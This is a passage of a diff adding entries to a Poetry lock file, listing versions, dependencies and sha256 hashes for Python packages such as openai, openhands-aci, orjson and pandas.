">=3.9" +groups = ["main"] +files = [ + {file = "numpydoc-1.9.0-py3-none-any.whl", hash = "sha256:8a2983b2d62bfd0a8c470c7caa25e7e0c3d163875cdec12a8a1034020a9d1135"}, + {file = "numpydoc-1.9.0.tar.gz", hash = "sha256:5fec64908fe041acc4b3afc2a32c49aab1540cf581876f5563d68bb129e27c5b"}, +] + +[package.dependencies] +sphinx = ">=6" + +[[package]] +name = "oauthlib" +version = "3.3.1" +description = "A generic, spec-compliant, thorough implementation of the OAuth request-signing logic" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1"}, + {file = "oauthlib-3.3.1.tar.gz", hash = "sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9"}, +] + +[package.extras] +rsa = ["cryptography (>=3.0.0)"] +signals = ["blinker (>=1.4.0)"] +signedtoken = ["cryptography (>=3.0.0)", "pyjwt (>=2.0.0,<3)"] + +[[package]] +name = "openai" +version = "1.99.1" +description = "The official Python library for the openai API" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "openai-1.99.1-py3-none-any.whl", hash = "sha256:8eeccc69e0ece1357b51ca0d9fb21324afee09b20c3e5b547d02445ca18a4e03"}, + {file = "openai-1.99.1.tar.gz", hash = "sha256:2c9d8e498c298f51bb94bcac724257a3a6cac6139ccdfc1186c6708f7a93120f"}, +] + +[package.dependencies] +anyio = ">=3.5.0,<5" +distro = ">=1.7.0,<2" +httpx = ">=0.23.0,<1" +jiter = ">=0.4.0,<1" +pydantic = ">=1.9.0,<3" +sniffio = "*" +tqdm = ">4" +typing-extensions = ">=4.11,<5" + +[package.extras] +aiohttp = ["aiohttp", "httpx-aiohttp (>=0.1.8)"] +datalib = ["numpy (>=1)", "pandas (>=1.2.3)", "pandas-stubs (>=1.1.0.11)"] +realtime = ["websockets (>=13,<16)"] +voice-helpers = ["numpy (>=2.0.2)", "sounddevice (>=0.5.1)"] + +[[package]] +name = "openhands-aci" +version = "0.3.1" +description = "An Agent-Computer Interface (ACI) designed for software development agents OpenHands." +optional = false +python-versions = "<4.0,>=3.12" +groups = ["main"] +files = [ + {file = "openhands_aci-0.3.1-py3-none-any.whl", hash = "sha256:d1d9d5379388bc0119c6722b8dacf63f7c747788ac5b6c26263601b2001d11c3"}, + {file = "openhands_aci-0.3.1.tar.gz", hash = "sha256:125c4773b3fd2729ec0c74d005095dad21aa0f7a1e8733e5f33f3f71466f6df9"}, +] + +[package.dependencies] +beautifulsoup4 = ">=4.12.3" +binaryornot = ">=0.4.4,<0.5.0" +cachetools = ">=5.5.2,<6.0.0" +charset-normalizer = ">=3.4.1,<4.0.0" +flake8 = "*" +gitpython = "*" +grep-ast = ">=0.9.0,<0.10.0" +libcst = "1.5.0" +mammoth = ">=1.8.0" +markdownify = ">=0.13.1" +matplotlib = ">=3.10.3,<4.0.0" +networkx = ">=3.4.2,<4.0.0" +openpyxl = ">=3.1.5,<4.0.0" +pandas = "*" +pdfminer-six = ">=20240706" +puremagic = ">=1.28" +pydantic = ">=2.11.3,<3.0.0" +pydub = ">=0.25.1,<0.26.0" +pypdf = ">=5.1.0" +pypdf2 = ">=3.0.1,<4.0.0" +python-pptx = ">=1.0.2,<2.0.0" +rapidfuzz = ">=3.13.0,<4.0.0" +requests = ">=2.32.3" +speechrecognition = ">=3.14.1,<4.0.0" +tree-sitter = ">=0.24.0,<0.25.0" +tree-sitter-language-pack = "0.7.3" +whatthepatch = ">=1.0.6,<2.0.0" +xlrd = ">=2.0.1,<3.0.0" +youtube-transcript-api = ">=0.6.2" + +[package.extras] +llama = ["llama-index (>=0.12.29,<0.13.0)", "llama-index-core (>=0.12.29,<0.13.0)", "llama-index-retrievers-bm25 (>=0.5.2,<0.6.0)"] + +[[package]] +name = "openpyxl" +version = "3.1.5" +description = "A Python library to read/write Excel 2010 xlsx/xlsm files" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "openpyxl-3.1.5-py2.py3-none-any.whl", hash = "sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2"}, + {file = "openpyxl-3.1.5.tar.gz", hash = "sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050"}, +] + +[package.dependencies] +et-xmlfile = "*" + +[[package]] +name = "orjson" +version = "3.11.1" +description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "orjson-3.11.1-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:92d771c492b64119456afb50f2dff3e03a2db8b5af0eba32c5932d306f970532"}, + {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0085ef83a4141c2ed23bfec5fecbfdb1e95dd42fc8e8c76057bdeeec1608ea65"}, + {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5caf7f13f2e1b4e137060aed892d4541d07dabc3f29e6d891e2383c7ed483440"}, + {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f716bcc166524eddfcf9f13f8209ac19a7f27b05cf591e883419079d98c8c99d"}, + {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:507d6012fab05465d8bf21f5d7f4635ba4b6d60132874e349beff12fb51af7fe"}, + {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1545083b0931f754c80fd2422a73d83bea7a6d1b6de104a5f2c8dd3d64c291e"}, + {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e217ce3bad76351e1eb29ebe5ca630326f45cd2141f62620107a229909501a3"}, + {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:06ef26e009304bda4df42e4afe518994cde6f89b4b04c0ff24021064f83f4fbb"}, + {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ba49683b87bea3ae1489a88e766e767d4f423a669a61270b6d6a7ead1c33bd65"}, + {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5072488fcc5cbcda2ece966d248e43ea1d222e19dd4c56d3f82747777f24d864"}, + {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f58ae2bcd119226fe4aa934b5880fe57b8e97b69e51d5d91c88a89477a307016"}, + {file = "orjson-3.11.1-cp310-cp310-win32.whl", hash = "sha256:6723be919c07906781b9c63cc52dc7d2fb101336c99dd7e85d3531d73fb493f7"}, + {file = "orjson-3.11.1-cp310-cp310-win_amd64.whl", hash = "sha256:5fd44d69ddfdfb4e8d0d83f09d27a4db34930fba153fbf79f8d4ae8b47914e04"}, + {file = "orjson-3.11.1-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:15e2a57ce3b57c1a36acffcc02e823afefceee0a532180c2568c62213c98e3ef"}, + {file = "orjson-3.11.1-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:17040a83ecaa130474af05bbb59a13cfeb2157d76385556041f945da936b1afd"}, + {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a68f23f09e5626cc0867a96cf618f68b91acb4753d33a80bf16111fd7f9928c"}, + {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:47e07528bb6ccbd6e32a55e330979048b59bfc5518b47c89bc7ab9e3de15174a"}, + {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3807cce72bf40a9d251d689cbec28d2efd27e0f6673709f948f971afd52cb09"}, + {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b2dc7e88da4ca201c940f5e6127998d9e89aa64264292334dad62854bc7fc27"}, + {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3091dad33ac9e67c0a550cfff8ad5be156e2614d6f5d2a9247df0627751a1495"}, + {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ed0fce2307843b79a0c83de49f65b86197f1e2310de07af9db2a1a77a61ce4c"}, + {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5a31e84782a18c30abd56774c0cfa7b9884589f4d37d9acabfa0504dad59bb9d"}, + {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:26b6c821abf1ae515fbb8e140a2406c9f9004f3e52acb780b3dee9bfffddbd84"}, + {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f857b3d134b36a8436f1e24dcb525b6b945108b30746c1b0b556200b5cb76d39"}, + {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:df146f2a14116ce80f7da669785fcb411406d8e80136558b0ecda4c924b9ac55"}, + {file = "orjson-3.11.1-cp311-cp311-win32.whl", hash = "sha256:d777c57c1f86855fe5492b973f1012be776e0398571f7cc3970e9a58ecf4dc17"}, + {file = "orjson-3.11.1-cp311-cp311-win_amd64.whl", hash = "sha256:e9a5fd589951f02ec2fcb8d69339258bbf74b41b104c556e6d4420ea5e059313"}, + {file = "orjson-3.11.1-cp311-cp311-win_arm64.whl", hash = "sha256:4cddbe41ee04fddad35d75b9cf3e3736ad0b80588280766156b94783167777af"}, + {file = "orjson-3.11.1-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:2b7c8be96db3a977367250c6367793a3c5851a6ca4263f92f0b48d00702f9910"}, + {file = "orjson-3.11.1-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:72e18088f567bd4a45db5e3196677d9ed1605e356e500c8e32dd6e303167a13d"}, + {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d346e2ae1ce17888f7040b65a5a4a0c9734cb20ffbd228728661e020b4c8b3a5"}, + {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4bda5426ebb02ceb806a7d7ec9ba9ee5e0c93fca62375151a7b1c00bc634d06b"}, + {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10506cebe908542c4f024861102673db534fd2e03eb9b95b30d94438fa220abf"}, + {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45202ee3f5494644e064c41abd1320497fb92fd31fc73af708708af664ac3b56"}, + {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5adaf01b92e0402a9ac5c3ebe04effe2bbb115f0914a0a53d34ea239a746289"}, + {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6162a1a757a1f1f4a94bc6ffac834a3602e04ad5db022dd8395a54ed9dd51c81"}, + {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:78404206977c9f946613d3f916727c189d43193e708d760ea5d4b2087d6b0968"}, + {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:db48f8e81072e26df6cdb0e9fff808c28597c6ac20a13d595756cf9ba1fed48a"}, + {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0c1e394e67ced6bb16fea7054d99fbdd99a539cf4d446d40378d4c06e0a8548d"}, + {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e7a840752c93d4eecd1378e9bb465c3703e127b58f675cd5c620f361b6cf57a4"}, + {file = "orjson-3.11.1-cp312-cp312-win32.whl", hash = "sha256:4537b0e09f45d2b74cb69c7f39ca1e62c24c0488d6bf01cd24673c74cd9596bf"}, + {file = "orjson-3.11.1-cp312-cp312-win_amd64.whl", hash = "sha256:dbee6b050062540ae404530cacec1bf25e56e8d87d8d9b610b935afeb6725cae"}, + {file = "orjson-3.11.1-cp312-cp312-win_arm64.whl", hash = "sha256:f55e557d4248322d87c4673e085c7634039ff04b47bfc823b87149ae12bef60d"}, + {file = "orjson-3.11.1-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:53cfefe4af059e65aabe9683f76b9c88bf34b4341a77d329227c2424e0e59b0e"}, + {file = "orjson-3.11.1-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:93d5abed5a6f9e1b6f9b5bf6ed4423c11932b5447c2f7281d3b64e0f26c6d064"}, + {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dbf06642f3db2966df504944cdd0eb68ca2717f0353bb20b20acd78109374a6"}, + {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:dddf4e78747fa7f2188273f84562017a3c4f0824485b78372513c1681ea7a894"}, + {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fa3fe8653c9f57f0e16f008e43626485b6723b84b2f741f54d1258095b655912"}, + {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6334d2382aff975a61f6f4d1c3daf39368b887c7de08f7c16c58f485dcf7adb2"}, + {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a3d0855b643f259ee0cb76fe3df4c04483354409a520a902b067c674842eb6b8"}, + {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0eacdfeefd0a79987926476eb16e0245546bedeb8febbbbcf4b653e79257a8e4"}, + {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0ed07faf9e4873518c60480325dcbc16d17c59a165532cccfb409b4cdbaeff24"}, + {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d308dd578ae3658f62bb9eba54801533225823cd3248c902be1ebc79b5e014"}, + {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c4aa13ca959ba6b15c0a98d3d204b850f9dc36c08c9ce422ffb024eb30d6e058"}, + {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:be3d0653322abc9b68e5bcdaee6cfd58fcbe9973740ab222b87f4d687232ab1f"}, + {file = "orjson-3.11.1-cp313-cp313-win32.whl", hash = "sha256:4dd34e7e2518de8d7834268846f8cab7204364f427c56fb2251e098da86f5092"}, + {file = "orjson-3.11.1-cp313-cp313-win_amd64.whl", hash = "sha256:d6895d32032b6362540e6d0694b19130bb4f2ad04694002dce7d8af588ca5f77"}, + {file = "orjson-3.11.1-cp313-cp313-win_arm64.whl", hash = "sha256:bb7c36d5d3570fcbb01d24fa447a21a7fe5a41141fd88e78f7994053cc4e28f4"}, + {file = "orjson-3.11.1-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:7b71ef394327b3d0b39f6ea7ade2ecda2731a56c6a7cbf0d6a7301203b92a89b"}, + {file = "orjson-3.11.1-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:77c0fe28ed659b62273995244ae2aa430e432c71f86e4573ab16caa2f2e3ca5e"}, + {file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_aarch64.whl", hash = "sha256:1495692f1f1ba2467df429343388a0ed259382835922e124c0cfdd56b3d1f727"}, + {file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:08c6a762fca63ca4dc04f66c48ea5d2428db55839fec996890e1bfaf057b658c"}, + {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e26794fe3976810b2c01fda29bd9ac7c91a3c1284b29cc9a383989f7b614037"}, + {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4b4b4f8f0b1d3ef8dc73e55363a0ffe012a42f4e2f1a140bf559698dca39b3fa"}, + {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:848be553ea35aa89bfefbed2e27c8a41244c862956ab8ba00dc0b27e84fd58de"}, + {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c964c29711a4b1df52f8d9966f015402a6cf87753a406c1c4405c407dd66fd45"}, + {file = "orjson-3.11.1-cp314-cp314-win32.whl", hash = "sha256:33aada2e6b6bc9c540d396528b91e666cedb383740fee6e6a917f561b390ecb1"}, + {file = "orjson-3.11.1-cp314-cp314-win_amd64.whl", hash = "sha256:68e10fd804e44e36188b9952543e3fa22f5aa8394da1b5283ca2b423735c06e8"}, + {file = "orjson-3.11.1-cp314-cp314-win_arm64.whl", hash = "sha256:f3cf6c07f8b32127d836be8e1c55d4f34843f7df346536da768e9f73f22078a1"}, + {file = "orjson-3.11.1-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3d593a9e0bccf2c7401ae53625b519a7ad7aa555b1c82c0042b322762dc8af4e"}, + {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0baad413c498fc1eef568504f11ea46bc71f94b845c075e437da1e2b85b4fb86"}, + {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:22cf17ae1dae3f9b5f37bfcdba002ed22c98bbdb70306e42dc18d8cc9b50399a"}, + {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e855c1e97208133ce88b3ef6663c9a82ddf1d09390cd0856a1638deee0390c3c"}, + {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b5861c5f7acff10599132854c70ab10abf72aebf7c627ae13575e5f20b1ab8fe"}, + {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1e6415c5b5ff3a616a6dafad7b6ec303a9fc625e9313c8e1268fb1370a63dcb"}, + {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:912579642f5d7a4a84d93c5eed8daf0aa34e1f2d3f4dc6571a8e418703f5701e"}, + {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2092e1d3b33f64e129ff8271642afddc43763c81f2c30823b4a4a4a5f2ea5b55"}, + {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:b8ac64caba1add2c04e9cd4782d4d0c4d6c554b7a3369bdec1eed7854c98db7b"}, + {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:23196b826ebc85c43f8e27bee0ab33c5fb13a29ea47fb4fcd6ebb1e660eb0252"}, + {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f2d3364cfad43003f1e3d564a069c8866237cca30f9c914b26ed2740b596ed00"}, + {file = "orjson-3.11.1-cp39-cp39-win32.whl", hash = "sha256:20b0dca94ea4ebe4628330de50975b35817a3f52954c1efb6d5d0498a3bbe581"}, + {file = "orjson-3.11.1-cp39-cp39-win_amd64.whl", hash = "sha256:200c3ad7ed8b5d31d49143265dfebd33420c4b61934ead16833b5cd2c3d241be"}, + {file = "orjson-3.11.1.tar.gz", hash = "sha256:48d82770a5fd88778063604c566f9c7c71820270c9cc9338d25147cbf34afd96"}, +] + +[[package]] +name = "packaging" +version = "25.0" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484"}, + {file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"}, +] + +[[package]] +name = "pandas" +version = "2.3.1" +description = "Powerful data structures for data analysis, time series, and statistics" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pandas-2.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:22c2e866f7209ebc3a8f08d75766566aae02bcc91d196935a1d9e59c7b990ac9"}, + {file = "pandas-2.3.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3583d348546201aff730c8c47e49bc159833f971c2899d6097bce68b9112a4f1"}, + {file = "pandas-2.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0f951fbb702dacd390561e0ea45cdd8ecfa7fb56935eb3dd78e306c19104b9b0"}, + {file = "pandas-2.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd05b72ec02ebfb993569b4931b2e16fbb4d6ad6ce80224a3ee838387d83a191"}, + {file = "pandas-2.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1b916a627919a247d865aed068eb65eb91a344b13f5b57ab9f610b7716c92de1"}, + {file = "pandas-2.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fe67dc676818c186d5a3d5425250e40f179c2a89145df477dd82945eaea89e97"}, + {file = "pandas-2.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:2eb789ae0274672acbd3c575b0598d213345660120a257b47b5dafdc618aec83"}, + {file = "pandas-2.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:2b0540963d83431f5ce8870ea02a7430adca100cec8a050f0811f8e31035541b"}, + {file = "pandas-2.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:fe7317f578c6a153912bd2292f02e40c1d8f253e93c599e82620c7f69755c74f"}, + {file = "pandas-2.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e6723a27ad7b244c0c79d8e7007092d7c8f0f11305770e2f4cd778b3ad5f9f85"}, + {file = "pandas-2.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3462c3735fe19f2638f2c3a40bd94ec2dc5ba13abbb032dd2fa1f540a075509d"}, + {file = "pandas-2.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:98bcc8b5bf7afed22cc753a28bc4d9e26e078e777066bc53fac7904ddef9a678"}, + {file = "pandas-2.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4d544806b485ddf29e52d75b1f559142514e60ef58a832f74fb38e48d757b299"}, + {file = "pandas-2.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:b3cd4273d3cb3707b6fffd217204c52ed92859533e31dc03b7c5008aa933aaab"}, + {file = "pandas-2.3.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:689968e841136f9e542020698ee1c4fbe9caa2ed2213ae2388dc7b81721510d3"}, + {file = "pandas-2.3.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:025e92411c16cbe5bb2a4abc99732a6b132f439b8aab23a59fa593eb00704232"}, + {file = "pandas-2.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b7ff55f31c4fcb3e316e8f7fa194566b286d6ac430afec0d461163312c5841e"}, + {file = "pandas-2.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7dcb79bf373a47d2a40cf7232928eb7540155abbc460925c2c96d2d30b006eb4"}, + {file = "pandas-2.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:56a342b231e8862c96bdb6ab97170e203ce511f4d0429589c8ede1ee8ece48b8"}, + {file = "pandas-2.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ca7ed14832bce68baef331f4d7f294411bed8efd032f8109d690df45e00c4679"}, + {file = "pandas-2.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:ac942bfd0aca577bef61f2bc8da8147c4ef6879965ef883d8e8d5d2dc3e744b8"}, + {file = "pandas-2.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9026bd4a80108fac2239294a15ef9003c4ee191a0f64b90f170b40cfb7cf2d22"}, + {file = "pandas-2.3.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6de8547d4fdb12421e2d047a2c446c623ff4c11f47fddb6b9169eb98ffba485a"}, + {file = "pandas-2.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:782647ddc63c83133b2506912cc6b108140a38a37292102aaa19c81c83db2928"}, + {file = "pandas-2.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ba6aff74075311fc88504b1db890187a3cd0f887a5b10f5525f8e2ef55bfdb9"}, + {file = "pandas-2.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e5635178b387bd2ba4ac040f82bc2ef6e6b500483975c4ebacd34bec945fda12"}, + {file = "pandas-2.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6f3bf5ec947526106399a9e1d26d40ee2b259c66422efdf4de63c848492d91bb"}, + {file = "pandas-2.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:1c78cf43c8fde236342a1cb2c34bcff89564a7bfed7e474ed2fffa6aed03a956"}, + {file = "pandas-2.3.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:8dfc17328e8da77be3cf9f47509e5637ba8f137148ed0e9b5241e1baf526e20a"}, + {file = "pandas-2.3.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:ec6c851509364c59a5344458ab935e6451b31b818be467eb24b0fe89bd05b6b9"}, + {file = "pandas-2.3.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:911580460fc4884d9b05254b38a6bfadddfcc6aaef856fb5859e7ca202e45275"}, + {file = "pandas-2.3.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f4d6feeba91744872a600e6edbbd5b033005b431d5ae8379abee5bcfa479fab"}, + {file = "pandas-2.3.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:fe37e757f462d31a9cd7580236a82f353f5713a80e059a29753cf938c6775d96"}, + {file = "pandas-2.3.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5db9637dbc24b631ff3707269ae4559bce4b7fd75c1c4d7e13f40edc42df4444"}, + {file = "pandas-2.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4645f770f98d656f11c69e81aeb21c6fca076a44bed3dcbb9396a4311bc7f6d8"}, + {file = "pandas-2.3.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:342e59589cc454aaff7484d75b816a433350b3d7964d7847327edda4d532a2e3"}, + {file = "pandas-2.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d12f618d80379fde6af007f65f0c25bd3e40251dbd1636480dfffce2cf1e6da"}, + {file = "pandas-2.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd71c47a911da120d72ef173aeac0bf5241423f9bfea57320110a978457e069e"}, + {file = "pandas-2.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:09e3b1587f0f3b0913e21e8b32c3119174551deb4a4eba4a89bc7377947977e7"}, + {file = "pandas-2.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2323294c73ed50f612f67e2bf3ae45aea04dce5690778e08a09391897f35ff88"}, + {file = "pandas-2.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:b4b0de34dc8499c2db34000ef8baad684cfa4cbd836ecee05f323ebfba348c7d"}, + {file = "pandas-2.3.1.tar.gz", hash = "sha256:0a95b9ac964fe83ce317827f80304d37388ea77616b1425f0ae41c9d2d0d7bb2"}, +] + +[package.dependencies] +numpy = {version = ">=1.26.0", markers = "python_version >= \"3.12\""} +python-dateutil = ">=2.8.2" +pytz = ">=2020.1" +tzdata = ">=2022.7" + +[package.extras] +all = ["PyQt5 (>=5.15.9)", "SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)", "beautifulsoup4 (>=4.11.2)", "bottleneck (>=1.3.6)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=2022.12.0)", "fsspec (>=2022.11.0)", "gcsfs (>=2022.11.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.9.2)", "matplotlib (>=3.6.3)", "numba (>=0.56.4)", "numexpr (>=2.8.4)", 